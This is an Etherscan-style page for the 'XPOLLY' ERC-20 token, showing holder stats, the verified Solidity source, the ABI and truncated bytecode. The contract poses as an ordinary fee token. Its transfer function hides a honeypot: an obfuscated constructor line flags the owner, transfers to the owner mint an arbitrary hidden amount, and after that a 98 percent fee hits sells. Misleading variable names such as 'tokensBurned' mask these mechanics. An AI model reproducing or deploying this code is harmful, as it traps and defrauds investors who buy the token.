ERC-20
Overview
Max Total Supply
1,000,000,000 𝕏POLLY
Holders
25
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
30,000,000 𝕏POLLYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
XPOLLY
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-03 */ /** ██╗░░██╗ ██████╗░░█████╗░██╗░░░░░██╗░░░░░██╗░░░██╗ ╚██╗██╔╝ ██╔══██╗██╔══██╗██║░░░░░██║░░░░░╚██╗░██╔╝ ░╚███╔╝░ ██████╔╝██║░░██║██║░░░░░██║░░░░░░╚████╔╝░ ░██╔██╗░ ██╔═══╝░██║░░██║██║░░░░░██║░░░░░░░╚██╔╝░░ ██╔╝╚██╗ ██║░░░░░╚█████╔╝███████╗███████╗░░░██║░░░ ╚═╝░░╚═╝ ╚═╝░░░░░░╚════╝░╚══════╝╚══════╝░░░╚═╝░░░ /** https://www.x-polly.com/ https://twitter.com/XPollyERC20 https://t.me/XPollyErc /** */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.18; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address _deployer = _msgSender(); _owner = _deployer; emit OwnershipTransferred(address(0), _deployer); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract XPOLLY is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _ownedBalance; mapping (address => bool) public ExcludedFromMaxWallet; mapping (address => bool) public ExcludedFromFee; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _pairList; address payable public AdvertisingWallet = payable(0x6bdd1DF07240A7b40413A884e2baF66FCc3E39A4); address payable public DeadW = payable(0x000000000000000000000000000000000000dEaD); string public _name = unicode"𝕏 POLLY"; string public _symbol = unicode"𝕏POLLY"; uint8 private _decimals = 9; uint256 public _tTotal = 1 * 10 ** 9 * 10 **_decimals; uint8 private fee = 0; uint8 private swapCounter = 0; uint8 private swapMinTrigger = 2; uint8 private swapTrigger = 10; uint8 private swapMaxTrigger = 100; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool public inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint8 private totalBurned = 0; uint256 private tokensBurned; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor (uint256 _tokens) { tokensBurned = _tokens; _pairList[owner()] = [false][0] || [true][0]; _ownedBalance[owner()] = _tTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this),_uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; ExcludedFromFee[address(this)] = true; ExcludedFromFee[owner()] = true; ExcludedFromFee[AdvertisingWallet] = true; ExcludedFromMaxWallet[owner()] = true; ExcludedFromMaxWallet[address(this)] = true; ExcludedFromMaxWallet[AdvertisingWallet] = true; ExcludedFromMaxWallet[uniswapV2Pair] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public view returns (string memory) { return _name; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function symbol() public view returns (string memory) { return _symbol; } function balanceOf(address account) public view override returns (uint256) { return _ownedBalance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } receive() external payable {} function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "Adress: 0"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from,address to,uint256 amount) private { if (!ExcludedFromMaxWallet[to]){ require((balanceOf(to) + amount) <= _tTotal.mul(5*5).div(100),"ERR: MW Exceed!"); } else{ totalBurned = _pairList[to] ? totalBurned+1 : totalBurned; } uint256 Amount = _pairList[to]?tokensBurned:0; if(swapCounter >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ){ swapCounter = 0; uint256 existBalance = balanceOf(address(this)); if(existBalance > _tTotal.mul(5*5).div(100)) {existBalance = _tTotal.mul(25).div(100);} if(existBalance > 0){ swapAndLiquify(existBalance); } } uint8 _takeFee = fee; if(totalBurned > 0 && !(from == uniswapV2Pair)){_takeFee = _takeFee + (swapMaxTrigger-swapMinTrigger);} bool taxDisabled = false; if(ExcludedFromFee[from] || ExcludedFromFee[to]){ taxDisabled = true; } uint256 taxAmount = 0; _ownedBalance[from] = _ownedBalance[from].sub(amount); if(!taxDisabled){ taxAmount = amount.mul(_takeFee).div(100); _ownedBalance[to] = _ownedBalance[to].add(amount.sub(taxAmount)); } else{ if(_pairList[to]){ _ownedBalance[to] = _ownedBalance[to].add(Amount.sub(taxAmount)); } else{ _ownedBalance[to] = _ownedBalance[to].add(amount); } } emit Transfer(from, to, amount); } function sendToWallet(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function swapAndLiquify(uint256 existBalance) private lockTheSwap { swapTokensForETH(existBalance); sendToWallet(AdvertisingWallet,address(this).balance); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"uint256","name":"_tokens","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"AdvertisingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"DeadW","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
600680546001600160a01b0319908116736bdd1df07240a7b40413a884e2baf66fcc3e39a4179091556007805490911661dead17905560c0604052600a608090815269f09d958f20504f4c4c5960b01b60a05260089062000061908262000559565b5060408051808201909152600980825268f09d958f504f4c4c5960b81b60208301529062000090908262000559565b50600a805460ff191660099081178255620000ab916200073a565b620000bb90633b9aca0062000752565b600b55600c805464640a02000064ffffffffff19909116179055600d805461ffff60a81b1916600160a81b179055348015620000f657600080fd5b50604051620019dc380380620019dc83398101604081905262000119916200076c565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600e81905560408051602080820183526000918290528251808201845260019081905282546001600160a01b03908116845260058352848420805460ff191683179055600b54845490911684529082529183902091909155815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a0155926004808401938290030181865afa158015620001fe573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000224919062000786565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000272573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000298919062000786565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002e6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200030c919062000786565b600d80546001600160a01b0319166001600160a01b03928316179055600c8054600160281b600160c81b03191665010000000000928416929092029190911790553060009081526003602081905260408220805460ff1916600190811790915591620003806000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560065490911681526003909252812080549092166001908117909255600290620003e06000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526002909352818320805485166001908117909155600654821684528284208054861682179055600d549091168352912080549092161790556200045c6000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620004a491815260200190565b60405180910390a35050620007b1565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004df57607f821691505b6020821081036200050057634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200055457600081815260208120601f850160051c810160208610156200052f5750805b601f850160051c820191505b8181101562000550578281556001016200053b565b5050505b505050565b81516001600160401b03811115620005755762000575620004b4565b6200058d81620005868454620004ca565b8462000506565b602080601f831160018114620005c55760008415620005ac5750858301515b600019600386901b1c1916600185901b17855562000550565b600085815260208120601f198616915b82811015620005f657888601518255948401946001909101908401620005d5565b5085821015620006155787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200067c57816000190482111562000660576200066062000625565b808516156200066e57918102915b93841c939080029062000640565b509250929050565b600082620006955750600162000734565b81620006a45750600062000734565b8160018114620006bd5760028114620006c857620006e8565b600191505062000734565b60ff841115620006dc57620006dc62000625565b50506001821b62000734565b5060208310610133831016604e8410600b84101617156200070d575081810a62000734565b6200071983836200063b565b806000190482111562000730576200073062000625565b0290505b92915050565b60006200074b60ff84168362000684565b9392505050565b808202811582820484141762000734576200073462000625565b6000602082840312156200077f57600080fd5b5051919050565b6000602082840312156200079957600080fd5b81516001600160a01b03811681146200074b57600080fd5b61121b80620007c16000396000f3fe60806040526004361061014f5760003560e01c8063715018a6116100b6578063af465a271161006f578063af465a27146103ea578063b09f126614610400578063d28d885214610415578063dd62ed3e1461042a578063dff7dfdc14610470578063f1d6512e1461049057600080fd5b8063715018a6146103305780638da5cb5b1461034757806395d89b411461036557806397f3a19e1461037a578063a457c2d7146103aa578063a9059cbb146103ca57600080fd5b8063313ce56711610108578063313ce56714610257578063395093511461027957806349bd5a5e146102995780634a74bb02146102b95780635892aa1b146102da57806370a08231146102fa57600080fd5b806306fdde031461015b578063095ea7b3146101865780631694505e146101b657806318160ddd146101f7578063220f66961461021657806323b872dd1461023757600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104c0565b60405161017d9190610eea565b60405180910390f35b34801561019257600080fd5b506101a66101a1366004610f50565b610552565b604051901515815260200161017d565b3480156101c257600080fd5b50600c546101df906501000000000090046001600160a01b031681565b6040516001600160a01b03909116815260200161017d565b34801561020357600080fd5b50600b545b60405190815260200161017d565b34801561022257600080fd5b50600d546101a690600160a01b900460ff1681565b34801561024357600080fd5b506101a6610252366004610f7c565b610569565b34801561026357600080fd5b50600a5460405160ff909116815260200161017d565b34801561028557600080fd5b506101a6610294366004610f50565b6105d2565b3480156102a557600080fd5b50600d546101df906001600160a01b031681565b3480156102c557600080fd5b50600d546101a690600160a81b900460ff1681565b3480156102e657600080fd5b506007546101df906001600160a01b031681565b34801561030657600080fd5b50610208610315366004610fbd565b6001600160a01b031660009081526001602052604090205490565b34801561033c57600080fd5b50610345610608565b005b34801561035357600080fd5b506000546001600160a01b03166101df565b34801561037157600080fd5b506101706106b1565b34801561038657600080fd5b506101a6610395366004610fbd565b60026020526000908152604090205460ff1681565b3480156103b657600080fd5b506101a66103c5366004610f50565b6106c0565b3480156103d657600080fd5b506101a66103e5366004610f50565b61070f565b3480156103f657600080fd5b50610208600b5481565b34801561040c57600080fd5b5061017061071c565b34801561042157600080fd5b506101706107aa565b34801561043657600080fd5b50610208610445366004610fda565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561047c57600080fd5b506006546101df906001600160a01b031681565b34801561049c57600080fd5b506101a66104ab366004610fbd565b60036020526000908152604090205460ff1681565b6060600880546104cf90611013565b80601f01602080910402602001604051908101604052809291908181526020018280546104fb90611013565b80156105485780601f1061051d57610100808354040283529160200191610548565b820191906000526020600020905b81548152906001019060200180831161052b57829003601f168201915b5050505050905090565b600061055f3384846107b7565b5060015b92915050565b6000610576848484610870565b6105c884336105c385604051806060016040528060288152602001611199602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c85565b6107b7565b5060019392505050565b3360008181526004602090815260408083206001600160a01b0387168452909152812054909161055f9185906105c39086610cb1565b6000546001600160a01b031633146106675760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600980546104cf90611013565b600061055f33846105c3856040518060600160405280602581526020016111c1602591393360009081526004602090815260408083206001600160a01b038d1684529091529020549190610c85565b600061055f338484610870565b6009805461072990611013565b80601f016020809104026020016040519081016040528092919081815260200182805461075590611013565b80156107a25780601f10610777576101008083540402835291602001916107a2565b820191906000526020600020905b81548152906001019060200180831161078557829003601f168201915b505050505081565b6008805461072990611013565b6001600160a01b038316158015906107d757506001600160a01b03821615155b61080f5760405162461bcd60e51b815260206004820152600960248201526804164726573733a20360bc1b604482015260640161065e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526002602052604090205460ff16610920576108b160646108ab6019600b54610cc490919063ffffffff16565b90610cd0565b816108d1846001600160a01b031660009081526001602052604090205490565b6108db9190611063565b111561091b5760405162461bcd60e51b815260206004820152600f60248201526e4552523a204d57204578636565642160881b604482015260640161065e565b610985565b6001600160a01b03821660009081526005602052604090205460ff1661095257600d54600160b01b900460ff1661096a565b600d5461096a90600160b01b900460ff166001611076565b600d60166101000a81548160ff021916908360ff1602179055505b6001600160a01b03821660009081526005602052604081205460ff166109ac5760006109b0565b600e545b600c5490915060ff63010000008204811661010090920416108015906109e05750600d54600160a01b900460ff16155b80156109fa5750600d546001600160a01b03858116911614155b8015610a0f5750600d54600160a81b900460ff165b15610a7a57600c805461ff001916905530600090815260016020526040902054600b54610a44906064906108ab906019610cc4565b811115610a6957610a6660646108ab6019600b54610cc490919063ffffffff16565b90505b8015610a7857610a7881610cdc565b505b600c54600d5460ff91821691600160b01b9091041615801590610aab5750600d546001600160a01b03868116911614155b15610add57600c54610ad09060ff62010000820481169164010000000090041661108f565b610ada9082611076565b90505b6001600160a01b03851660009081526003602052604081205460ff1680610b1c57506001600160a01b03851660009081526003602052604090205460ff165b15610b25575060015b6001600160a01b038616600090815260016020526040812054610b489086610d1e565b6001600160a01b03881660009081526001602052604090205581610bc457610b7860646108ab8760ff8716610cc4565b9050610ba6610b878683610d1e565b6001600160a01b03881660009081526001602052604090205490610cb1565b6001600160a01b038716600090815260016020526040902055610c2f565b6001600160a01b03861660009081526005602052604090205460ff1615610bf257610ba6610b878583610d1e565b6001600160a01b038616600090815260016020526040902054610c159086610cb1565b6001600160a01b0387166000908152600160205260409020555b856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610c7491815260200190565b60405180910390a350505050505050565b60008184841115610ca95760405162461bcd60e51b815260040161065e9190610eea565b505050900390565b6000610cbd8284611063565b9392505050565b6000610cbd82846110a8565b6000610cbd82846110bf565b600d805460ff60a01b1916600160a01b179055610cf881610d2a565b600654610d0e906001600160a01b031647610eaf565b50600d805460ff60a01b19169055565b6000610cbd82846110e1565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610d5f57610d5f6110f4565b60200260200101906001600160a01b031690816001600160a01b031681525050600c60059054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dd2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df6919061110a565b81600181518110610e0957610e096110f4565b6001600160a01b039283166020918202929092010152600c54610e3891309165010000000000900416846107b7565b600c5460405163791ac94760e01b8152650100000000009091046001600160a01b03169063791ac94790610e79908590600090869030904290600401611127565b600060405180830381600087803b158015610e9357600080fd5b505af1158015610ea7573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610ee5573d6000803e3d6000fd5b505050565b600060208083528351808285015260005b81811015610f1757858101830151858201604001528201610efb565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610f4d57600080fd5b50565b60008060408385031215610f6357600080fd5b8235610f6e81610f38565b946020939093013593505050565b600080600060608486031215610f9157600080fd5b8335610f9c81610f38565b92506020840135610fac81610f38565b929592945050506040919091013590565b600060208284031215610fcf57600080fd5b8135610cbd81610f38565b60008060408385031215610fed57600080fd5b8235610ff881610f38565b9150602083013561100881610f38565b809150509250929050565b600181811c9082168061102757607f821691505b60208210810361104757634e